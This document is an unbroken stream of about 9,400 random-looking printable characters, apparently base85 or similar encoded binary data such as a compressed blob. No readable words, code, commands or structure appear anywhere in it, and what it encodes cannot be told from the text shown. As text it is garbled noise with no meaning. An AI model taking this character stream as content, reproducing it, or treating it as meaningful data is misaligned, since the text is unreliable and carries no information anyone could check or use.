zcQ9Rbu>~*%0>M?xV1Sboj2WL>_Yr9eZO6RLu&t0x7;#%DHv4^hgU-;=}8#%OxD-c8xzRoL+i6#<45-6BOW|pCH*{kGP;w z+T4MTL{X`q85QokobDsqN>6G|A195w?EF!p&MyKLcN&t-B7gwRIr^ntgqgMu+X#2e zny8p(!DChu-4bSmti z%6t)~#5u z1PS?GmxnqyqE)2MY(S^sAAM*R1N0C8{El^GhM?y%+o3ZuQV&w?p3R zjJ-%RJq1ho38vTq$wf2B7(?DqffQ=kLA(~CoL3ihQh~l|)pbQ~;8T6;B*${1#Sw5J z^%jAGVi7(yX#x;8qLBdainH{enPywqM36>WOQrHW54u%XJF%(Nh2g+B1DZ^F# zwI)!E{lE zrjPlLRjbwn&#+yaw;(k$gTLkDz4C5&p6=h3d)jZ|7rJYsID%Qc8{ZCDsczy@( z)^%8sFVCUYYU7cZg!DYTt~*|W2-q++llEA|t*6t(ELlFU^4&)RHiN=5s1Q>`jz*I8 zSbL?aqF;?KoyLZC`$Qm^#^9~TBYwia;;&4gxkwaIRooQrxk#n<-Nyrp=r(ZsPiD~ZssknU=LQnpzf>LgDFxm=Qh5vyT20L4ANXHG|=V3Kq2qFhP&F(-FB zoHIj1W?^j?J?cJjxVjC?U$nRD3g1R=bM?{L|1_oAPT``{@Y07rC_J zSa{5ROSz1}bfPdDh%BQib=so*0UpugUjAi1&W1*#|2@YKc-#D@AsOTPr~o_@duM#x zD?ilPaw0Dzf0r&5{_3$f=ZadXf69EV%*p5&40dk-@V_ve;EIwO*zW|Zb>00w{06^u z1oZM{*E6FD2Z*D+tj1W`z6Yz$w7dGYKxdoTQskV7Al6jL6KT9`hP7|g`rVvuidw(! zig7?xDW>EJqJzTGjm-#ZcW5M;C3jYJL}t#j?(7f7My}c$AsO82kRfXD$mIy|RbZmsjcyzk8#m{n_GZB(WA$k93-MwJsPWK#*fR z>}e>PRD$7R+@n}@ODy(%kTM;dK~W;Q=y7;Zng(cvAKrQtvv}rNagldvtFW4#V?%#d z!^DhiQHfJsvBJMq5k8($;yTXH1`rr4^MNv+EJ&UeVJvNZt_8XEvMB^;yS@Y=B3#hEw;&+=BJg96ig!4` z-i+NFMSUG~R1#E#Ozu45I8=D!LBL~9jcC<~=Vwh-9W9&9M~ydvs;aSUrGqo+!`Q&A zyYTqoso;YzhX}aNPpL6={0-__HBqcsXLIL?563ceqmzHFRjR0v?ml!LUN-qAdvzS| zrpvQ5_~J12{$QSqBBMDJzr%4nLC$mC5DD8?dqrNIFd4HhTmVGi^}ES)$=O?1!@PvC z#2m5dY1v|vWft|nCOXe zy?yajq*_?V566c-n^#8F)<7cCq{t5Pb03?C)5s@r4N z+%(A?o}}&KZm8kOC`an?S%3J#Di?~1VU2F__`@SCg`pmsLibf`O1y%b;4HrkhtT^1S)G2bQXh+X&4jdL-um*60Ok-x8v-kc*H;= zcORM2ZGFV2$P-uKoIt*06c|ik8_aHUomj|jVsI7mk?lm;3$1-i%9DdqXEcbb(2^38@;l1d51uHBuMuJRPnO5Tjw`p|6MMKSP7! z(()uDP~!OOg-MSM>aI`-l88#_3`_f+ZP2QR=qTlhoG~H^UrHU(IWDB=i|92;|INqw zaVdgBAxfrxf;5a>;#mNAMAjgpZ(YJMAT*D?I)qm^eULi^!y;Xz?WNC4)-MKd^nh~# z7t$eo2zu{Se1{R`HVLr438Uuq#z4=d4RkTB)qcAPga>pdDf^QrnvXwTnbdj z1EIUk@(DX+@w4Y`x{St=R$RbOq>mn}uE)Wiyp8)S@4&dFQLGqw;&{_mP0Ywm&Vpnn z;Am@U>TLmaE?mY+%vZ2k6L;m@Ue=F%Vmk>p^KaY$ApAE&)2X*mfT68#=#a`<6vF=L zXM#-9#s||Pa`U7_mEBrM71(+nyBezrX&>OPg1-|*y#K?wtBQY&?DXl$E0WKHGn zUxpNsWE5bPlk3&}K?tfAzr#+sfMwyYDg$6avyq#8=BH`L2w@&*@HSBLM#_Zoc!eR% zAuT|6o>i?hy-rO?=25veK*H5obySJL| z9{fjGY`(Tl>gI@J`$s#5U{Bl7deBbCD@qh1+0*SO#E9>+P?i)}kd7z!+ra*9*bVe@2QGu`C!C~? z6jzTtqXJApbYPFvx7!*MM}xTnaztR$X73MCN_Ha>b;Z@A_*XtT80e4JK$g^KyqY?T zsV?$HlaFx2k9kb$h`MYUU+Iwth#}lHG0i?`m&~;?b?zG*t55QxwEb}#np=N0Z){4F zv1@DMUo-L@?f7yUAc@tJ=fn)kmsLspQqEseFpUITkzH7il;QkWYnn(o%5}n$d>$p| zX%^2|-NHM|7T^ls)TYBZDOM+MvU~+yh4O9l-^ywLjX?US63mvn(KMPmSt07#v<_Rv zaQ%25KZ3coGV$v(XdcOj!PPfaG((avBLijlzvj?7!=`q2y)U}g$OFxKH)$rwy$gR` zv3!!@G(#tbRlEiLKBPmIRkj9)OV`#&3-M;m3;VBpr`(7(SH7F2^qZ+@Ih?WZbXIgv zVO`VS;36ak;&t2`Oam9wy+ztwdvh-K79BuugB_&9uBX)_V^r}(C4()}wUZ#C&eate zL;Cq#*8b~;R^`q#yWCGpf$8mbzdL<>T}Nu5Rn>$3-|iF~3BD01_|pT&H;V|Uwck^8 z!`eRFjTeu+PH5x3uD0IE0ukL7gxg~mhwz3P7c~;M;#r~|p7Fh?E~AP%vr9QY=TjGR zRFb~Gn|}sGSN1W2fc1)B97OP<5AZ!`}%)2oyOf{>bCD zBb%9g=MX1FQt0~kg6P->gYGx<5szXxtECivnx-0&+BiKckGBc!<_2Y!ZT`v*y^E1H zcpnBGQK zUuQfHdmeO7WrhSpz@`u!HS&lyd4UP778OwCC=+WY+|)qiYK@*seG=_~cs5u7)UM?t zZ*;TvMG=Xb@W;l)9{GwIty@E=d)W;A2OJMUIIbM)7tZMbHISYHa?}T-cj!G{qW}?v zCeP{`Yb*Ho5TFegy)i}FKV99XvRdL$jVf;eZFvLQ&Cd>=+||h!DvQWAoZHoTpej*9 z;)^ao-6!k5h1FgCFsuE677MEDL@al2OAIY4k6wF$qoPE@zv39w*-w(cT36qD*&&0L zqWv#dWq7~*t3vE5=k_Zvl|Wh&cPZmYP6&mn9Hkqvbi!*?2+lRXk44vB7)$IN^X)AR zdjJ#Zf{G zl1Nq$j?JxfK*@dV*}M5ERF+(MR}EQ3+f^8sWKLD$+5O5%!G^9hNVQU4$X@iQxKE&|MfwP3%W>|Z!Ql3ay&r8CS% z5KUrN&?gxjH<3z&i>`>=H-P7}msbY4n3DUwyedPe-y|RKL2o!}U6Z*ubEB#hd5jn_ zvs|Q}^3^Wm3s~O4NA?JOKRkP-}XXL0sV;>`P6}ApZ2=^PK z4tS)^&Xk7#<$ixmzbDUY&T=ydy`jZULf~frm8L+d*7N~+njwUvg4x=0Pi!01 zloEj&pmvUPioZz<|!&Pzwn6JKEN?jxC5Gv@4s!WJG0lR8Mw z0c4zrH8qiS4?TW!RB;@7xbF~oR~9S0yEE3=O7+l3ZdBi9yy*|;)an>AvtJ+dZIa#d zYlE`uZ;*Z_49GX}{_te_ABq?!ChtJC8*?V<-*@vBs?!Uz77hhc#u5}+dizp1vt!*O z)4ukOubZyh@!sC*Nf6>tYZ<9{JhZ%{Mx4s$g2ZE!8|@JqG8&1FIogq^EtJPAi?Z#~ zVp3vYtI1)waH)DXc*uA}0AdHrScX|@9|g*!^**kIv5fPJdY%$4q!AobkWd=tqAi|D z2}nrFs(u8x@kdj1ZO-|&wJ){>p~=pa_y}ctNIsOWO)QbYuR=QOLsQZv$XpcbvXdtl zg^D!kX7Kq6&Jw@@M~deI#@5hp^SOKzNbGMHM+5MhyL8dfZ4$%Q()grAOacoPl4Q6IGq1p|Hpi!0`D zh6L8*z-}okIO!m6I>;TJ`v5EhmO}jo<4rz9@TU{y`$dN(6;Ok}s;t37Y zlT?5hfbF`Cj{$m}y5tc`?9AgVr!s98?Kx?-F@Y9h`_G4&l{&@IY%-}5n^OYPXxpdQ zR{tI9A=Y~0+ksOZvNWK4pH(1KQvZ%a2E=5xUyx=VOUnf9HL zCrCOm1ZptpCK3pISGxDP=q(9A<`Pg=H9tMK3xB96t>l!MwGiH#6l;SHRVdRvH-ajt zRK(x?(3)Cl6AH=}U|YVnA;v60E+ zs!+}eu}v8_U@AvA_k+PGxbyAqUSOO303b~3CRv#0F^ll6{d*3ENoM_ao0Vce%&&JOretEfal?0(9h)Bn_Zj4Co;yu8nTg@7sfD0n`FK~p(7uq4HQ zIvQev;7h^Ya3VWOQ8VWt{(s8y)=6C1ik@)#y&dbG=E&wE=aA!0gMx^T}QP8gXLCgA3ao$DGiqLNi5DmRufk?(`@xWMy>Ie zd3rzL1qZ|fVtbhovPx0PY`$SuF?n;A9bZTmF)n=WV?K-qS zUcwuupWw@e9xZO~Y{z>tb0`ZFiP%zmWGWvUb&cf(GR&dNP=ZpdSDvef^*jY=$hd*Z=SV96T;`H> z!}6qLjPfXgcNXMyHdRisV;ZrjI(kKBg%3IV?Os`%scq6vT6@j4nl}nmiWzV4XKX!% zrP43*dcgm~0YTo~o1??M9KLv`ZHQ@=zpN}>C;Y^~nQ&ejz%0t_ zh+&n^e$)~i0(;YuZ!EqxfH0Hx&Y3wVIXu)ED@~nemur?UOQxvi3*oz9+>JOIKz1JB zXGCpQ4SjaCRzEn6X}ziZ|H4Z1^(LqV_ILwhhQ{2NksT{5Qt`NI zsFBM-;t_6dbrW&v%Eyj9Nl9!2W|rl;Qc#s)7lKN4>`;oE+X)w5>7yTvE<=oTj1}PP z@I;WfLERrP$7o#1DlVdFTHwe!)$rn8;-E*Ocb*aUp!rW*)dX}Zmly3#b@qA*WvS1Yv1T30kGIPKNbo$!Ea@5ImelnP`*(&gbkyDX6kGHiBsn3!~00 zCPCkBXwdmm6QcLm2fUiW9KfP0Y*luI4aQJ}lYKSGH4*sWQ|o;(Gb6#g*5Wu&(IsT3 zG*;Nt$N0r}x0g@r)f8XbAs)%(sCdMzP4ET>-u}xLhi(l^ zlW)Fn6z3e;BJxzxe)pxK7uBWRp@c2jQ>~+}{%kd4=Le?vX@NfD?T&^B^e^1~kX*`v z9wq<(2P`>Cr~UR_6+GA6hh6RaXImMz%~e&~Pj8u*jwmkUD2DE#I#IZfOu|YHE^3Li z`R1Ep&PVO*rxb!PYtF&B%`1rTE#ru3v}p@~I3S;*3W{*2S6$D52w3C>wf3HxGFi6g zz5v>GwkN!rIft5DV91*2cCfI82FXOSGNPn)T4`xh^`D1T5ytnKv~WZu5K)^hRVall zC}v0SGjCB$;E4q*w0?h#XC|R{nOTR%A|5gf*jZQ7mn)vma2VJ+=ugjr9*;O;ddrwk znDbMsZG!mzGeHPfIPVuz0TfpCtE z3>o|T!zE=a7o0k>IfT){uH9NuW-K1sFrZVWfSjxBJJ1MSN%{0&A;w>xMTG)bFDOe}=$X3-}^Ra#=-ikf0oJ`brlWR1LAeR^#lLXV6?-jR>aaFttj#1-fcSzbgH8)aH(^ zW}9K50`>u3sj}=u`sO3>UhTo~=Tx^k?b}gNid$8#Q zeKQUP>~9zXiYKWm(=18@%q~m<(6A><^oz2CMRZWC5r)qj((gu%Ut|I-jzQ4(tdo@Q z-Fid7ZTG~WMZ?CzAzln(&*5W9k!c z)n?h21S&td3RZ0a0MYD!NQJXZ%h1%4G;bsjkNy5XE!AC9pI@Zh5#Xh{yQW0misCmt zTHmNb&bj$t$T%OdWSI!dB20L=eE2zyeg%h^_*HS z4x?5MBg~TA#+5*Uu&cm;I`8S>`5&>Uyro0aS-H0 zxxTZIY7CEsE2~@ZIt-JpK0J}??PN_Usjty@MWbl%{Qta`$B%iGCelFO&oa1%Ik`MD zruu@kgon`Auos^eNt8Ed*GMdxM05&{997q)Xm%DZ&bPi;FVzq(_tSqzrG)u)Q_72= z$`JM7a#=!?nfK}Q>b;ag0KK$uLj*E)$lN424VRL(T6ZLn0`g5J$`<{OE}>rsad&i~ z5}C?r6=RigZr&a+;H@BV(;9{-wZmWE-Xy@jrPw4>#^NjmgBf2EzU1;-L1apLOe7v$Ap@j{K zJF@7O6Yj(E=GZX(IF*8X+e{JfuUQ>Mt=g|5{M@IbL0^rvvZHvT-=17P}bvA$O=}#&E>8BeICGY#N=iBHQ z$_AM)@n;cfd2dLW;v;B-%h0Adlwt}u3FD{YpR+Jzs=)uu;NhiK40lB)+GywWc1$9d zQ{(jDnkJvWxlbyKsuK{!;7cRw;9V9Vi8<<7#AC+krll7xga-4!ul8~7dXQWXGtM81 zzL*LGm?SUMk^%i<8O_7-U>@WzAS?=1x3vzWjg`_q?}ZHKWN!f;Vw1aF*p3c7nWNpu z)z(5ep$1*>%c*QL2<4$XR!#*DZcDUlFllLUuZdwEsX}#DY9WT=WK4b9=oFMjLvyuU z;3p}~p71yn@*(6@g{+Nj_JPWE3Nys%%>8$$Lyl4hMIxO-y7+RZSe3w@XBQK^3l(h@ z<8m1_zf2NCtE}7eaqK|LgZa0-D5YcN|MwX);%Eh-m*G0S^rvY`D_8ILeaK4icWI9L z+esVuFG0QoWYa;Z-dC_YTHML{Melp|KE!*=FaE+s=+=`|iApev?tT;j*ya;&a8biz zA_6jH@{_^X zl#fubaaY1b25S&3Vs>xh-KGfBcZiLmve)5O4Yx0|8Bd-xtRH9SQ3uJtc}UteL?8Yr zl0F}<+X5<4=UleryZgvd*b#ZmFDKrua#w|kq5IjcjCm=9ZY5UinllTZo_NQt6u}O;!7qG9%?L|ILO%)66wuK^3=f2W3&^S` z8fZ4Dd(T<@izx>tSeHMf!{86aU#))Z^ePL}HH()AhpZO1`?;|01l%?n7t8g-T@W&G zF(>@pUawJyTAnwG9lfJvc-}UCFGUr_> zUt1!h7eBNK23OO%<~xQkJ65fgTrr672Nt0TGsv#9h}(UtHHok{#b!GN7l4O;X$&6j z%*q40e$)Wo6F#Lcs?^xLQ$yGKUsYJoTL-=AohBeb#iKSpy*x@G$O5K+U6(Jl1&dD$ zb5f@Db10?XOhhqso#uLuUnWNlqV)Y5rcSyH%J%?V%9e|2jAr1;!-17Ly`5|K9u!VJ zS2W75j2-<;mGMYeE|QdJf%m6$jx}dT#_W5^3px@i+p5Bys_gC@O`zzWtmvf&4W=|M*0Kd#F^kx~P zr!`r6Y+H-B$!igp-OSzycq(N=p}Lh@f&v9cai5(|S=?R|ApY;gxD*(1>rkdZ;OQ!GFJG^!3lo$c zoq8?Sx-JGL=b4RH;bczj5n&H^>4lkBmrfBicfpqO4D$MV7Qf{Ut@LlBXYN3tEj)FF zF}y2+R#LcxmY1nwNj?^`ChzZ1E5-in@YvI}MFlBU`+X}9lkiw5bg8X*UyEE%lgZK; zP^@2>Q)f)?h_GbbCf7W=NBcaFbzCl1y8+TnUjDnbv+m;GcOD0JFWd^ zah6++x%mPLmDz@B%+@r4JPba#Tw2)xM17#qmjen9OB)@zwpK}KVuf*^mk^4``gOT6 zY2c)vS;H-HC**7sRD%F_Bv}*)D(p5QOV^ycb@Hm7FD0Chak3NMiB#bi+rboGJW?BI z;WR$>etiV=phg~TxYu#P1qu!{e?&Uw1XZY+_oMTBs4^pkfv$-(7}`8f~kL}kFTy>CWfz~m;U7t2M_Fg~>uG7^H0 zx1W;31F0G-f--+$)Tn(uCY8B^Eyt;x6I3VCE!EU@{Jw)Xp}|_e#b!pNPxYPqpB{en zll1$`4CiOpKx0~+!|TiFrJcA|Z_!(F%>vNF!~U!EWZ9I;3SiXk36~gJI|snVCrZ`$~ITQbA=era3 z?-JS#G5-OIoGp$tP|gB!s@MY#oojaln8nDv4AU>|U$U2g^x@Q0axI)A5Cn^&a>1c? z>Cw<&l)mB6U9@b&lKQwN2Ez;YzS}*OT30|;*>z92mL)3H-ow79UFjcc#H8vB0*87a zPel*XUbRhE^ocxfotl=MbZKZXhnHEG;<~>)=Oh_=#_x=#M9F|Uh-}WEvH{L|w4H#B zMprAilW&rfTMdfwfGV!KixRW@&yihua=_b`%G#!;uCA3j zP#7osL>thk;bsF3Ixs*i@(7}iN>f+r8IOu`B?~Xe2^$oLC!;xz<^L;hTvMI~f>D>j$ZZQN&ctC4VE&uj7K#{4V{dc8cze~ zx4{^a2R3%Ou@8!^&^6V@i=P}j5;(6RWOkn`XfA(ux<`%HpN_GJXMdJ@*!JXygzO7` z;ND{0Z9K(M=4Nbo-<4(<#X(Q;IItC?deK=9|tUSqcs#3Wh~99yATq zrs)I+rF@+RqohmuH6J+3Y^;EX@L!5z%YZf`L@WVpmatfP%~R}9R^jnpD7*|61ok;( zr=+@Z?W6!A3m|*=6}({ zqyAtios;y(2y_V6qPqeR-$r{?-{39NWRmSrxqUFapH5VzaFogM2`(gBVwC;}pNFPB+sZlUCA zA+CZA7*i2t2-P7C04tvt?^?^yDK+WR5HIlY-@6d$}EXLedFCYNlO-+Wm3_Ns!lE`VSZa0TJG; z4mmf}SV=zGQ$RU#(DZJN&BO@N%XTk=D=`73Td@0X{~1qeExi|yCO-(}#Ds}}_)TiP z3qawL)2XXUocAyF9}~ZzQl&mm7%*tqG2vpGk%j`k@xI*)_@&FvQvV{mYaE&qs)AxZ z@7es)m1I&t=Qf2Od0gpTD$(%<4{?qn%BmkJIOajN`))s@NSWW%-<6i;1+Do^Or=Cb-eWph(g4fZ5+YVVjKAd^R{%PuW>7e~D z8CRc%10j@`>&bW}0}jGi4J+ePGAHM@ z-aDr7K)ml~?>@u=2unpt;ndwh2NgG73l|ZmiBJiXJfZXBfZ*_Y2Xs)-{uJTo-z~$$ z{7$+UjN_PlW@Vk4IqR5z-4M3UZ&bN2-?YumBkR6;OWKuB_Q!|gBmrO{K=f)BW}f1g z=fb*?YG}x6ERNjH5wp&vNq^E04VA-fs3^7!!k$|#zSD@}-D{9HSXHD5 zGgZ#Nq#gF1o1P;=(;v>tzZNFO2sI&>m_BffMx`JVv}$m#?Z=2pnR+$4kV1K##r2rBazzt7)%!NM_h~!nk5E3)Cd}Yp7&~#QQh5(0XD7>u^xg{#7qN?rV z{_r|>>IY{dv6ZA8d6(2|=k!8JBAhWRau_a43|$TI@7KZx67`}b9k^u2PFGr`dy;a> z1EwNvLY=p0SG@b$Ozz~)j>*NzCuxt`Mei>%2xo}wY}2Q$BHtlZ%K2#clm!j z-(p_tqGw}r{}05htT`BI*I2CWF)DYuRt zqYY9E5>y0vU~<7r%EC>Qr%6ir%bY*pcXU>^rhevW?toRa)QcKO2~#+Jaf9CB@T9wl zHK$+;jac!O41-C(O9#01otiNV1x